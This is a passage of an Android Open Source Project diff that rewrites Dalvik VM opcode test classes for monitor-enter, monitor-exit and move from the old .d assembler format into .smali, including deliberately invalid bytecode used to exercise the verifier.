+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_5.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       const v5, 12345
+       monitor-enter v5
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.smali
new file mode 100644
index 0000000..44c52ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_6;
+.super Ljava/lang/Object;
+.source "T_monitor_enter_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 6
+
+    const p0, 0x3f9d70a4    # 1.23f
+
+    monitor-enter p0
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.smali
new file mode 100644
index 0000000..4b0e5cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_7;
+.super Ljava/lang/Object;
+.source "T_monitor_enter_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 6
+
+    const-wide v4, 0x1cbe991b49L
+
+    monitor-enter v4
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.d
deleted file mode 100644
index 3d45716..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_8.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       const-wide v4, 1.79
-       monitor-enter v4
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.smali
new file mode 100644
index 0000000..d4a8386
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_8.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       const-wide v4, 1.79
+       monitor-enter v4
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.d
deleted file mode 100644
index 1f83d57..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_exit_1.java
-.class public dot.junit.opcodes.monitor_exit.d.T_monitor_exit_1
-.super java/lang/Object
-
-.field public result Z
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const/4 v2, 1
-       iput-boolean v2, v3, dot.junit.opcodes.monitor_exit.d.T_monitor_exit_1.result Z
-
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-
-       new-instance v2, java/lang/Object
-       invoke-direct {v2}, java/lang/Object/<init>()V
-       monitor-enter v2
-       monitor-exit v3
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.smali
new file mode 100644
index 0000000..7c2413d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_1.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_1;
+.super  Ljava/lang/Object;
+
+.field public result:Z
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const/4 v2, 1
+       iput-boolean v2, v3, Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_1;->result:Z
+
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+
+       new-instance v2, Ljava/lang/Object;
+       invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+       monitor-enter v2
+       monitor-exit v3
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.d
deleted file mode 100644
index 9ef4034..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_exit_3.java
-.class public dot.junit.opcodes.monitor_exit.d.T_monitor_exit_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       monitor-enter v3
-
-       const/4 v1, 0
-Label4:
-       monitor-exit v1
-Label5:
-       return-void
-Label6:
-       move-exception v1
-       monitor-exit v3
-       throw v1
-.catch all from Label4 to Label5 using Label6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.smali
new file mode 100644
index 0000000..d2d6550
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.smali
@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_3.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       monitor-enter v3
+
+       const/4 v1, 0
+:Label4
+       monitor-exit v1
+:Label5
+       return-void
+:Label6
+       move-exception v1
+       monitor-exit v3
+       throw v1
+.catchall {:Label4 .. :Label5} :Label6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.d
deleted file mode 100644
index 334f385..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_exit_4.java
-.class public dot.junit.opcodes.monitor_exit.d.T_monitor_exit_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       monitor-enter v3
-       monitor-exit v4
-
-       return-void       
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.smali
new file mode 100644
index 0000000..b7708de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_4.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       monitor-enter v3
+       monitor-exit v4
+
+       return-void       
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.d
deleted file mode 100644
index 9def3d7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_exit_5.java
-.class public dot.junit.opcodes.monitor_exit.d.T_monitor_exit_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       monitor-enter v3
-       const v3, 12345
-       monitor-exit v3
-       return-void       
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.smali
new file mode 100644
index 0000000..fc30697
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_5.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       monitor-enter v3
+       const v3, 12345
+       monitor-exit v3
+       return-void       
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.smali
new file mode 100644
index 0000000..d3f4a64
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_6;
+.super Ljava/lang/Object;
+.source "T_monitor_exit_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    monitor-enter p0
+
+    const p0, 0x3f8fbe77    # 1.123f
+
+    monitor-exit p0
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.smali
new file mode 100644
index 0000000..b7afd08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_7;
+.super Ljava/lang/Object;
+.source "T_monitor_exit_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    monitor-enter p0
+
+    const-wide v0, 0x1cbe991b49L
+
+    monitor-exit v0
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.d
deleted file mode 100644
index 91be219..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_exit_8.java
-.class public dot.junit.opcodes.monitor_exit.d.T_monitor_exit_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       monitor-enter v3
-       const-wide v0, 1.79
-       monitor-exit v0
-       return-void       
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.smali
new file mode 100644
index 0000000..dff5a13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_8.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       monitor-enter v3
+       const-wide v0, 1.79
+       monitor-exit v0
+       return-void       
+
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.d
deleted file mode 100644
index 1d8e693..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_1.java
-.class public dot.junit.opcodes.move.d.T_move_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 16
-       const v0, 1234
-       const v15, 567989
-
-       move v0, v15
-       
-       const v4, 567989
-
-       if-ne v0, v4, Label0
-       if-ne v15, v4, Label0
-       
-       const v1, 1
-       return v1
-
-Label0:
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.smali
new file mode 100644
index 0000000..031d73e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_1.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 16
+       const v0, 1234
+       const v15, 567989
+
+       move v0, v15
+       
+       const v4, 567989
+
+       if-ne v0, v4, :Label0
+       if-ne v15, v4, :Label0
+       
+       const v1, 1
+       return v1
+
+:Label0
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.d
deleted file mode 100644
index 4a5dfc73..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_2.java
-.class public dot.junit.opcodes.move.d.T_move_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 9
-
-       move v0, v9
-
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.smali
new file mode 100644
index 0000000..3b9ce9e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_2.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+
+       move v0, v9
+
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.d
deleted file mode 100644
index c9d094b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_3.java
-.class public dot.junit.opcodes.move.d.T_move_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 9
-       const v0, 0
-
-       move v15, v0
-
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.smali
new file mode 100644
index 0000000..ec26b16
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.smali
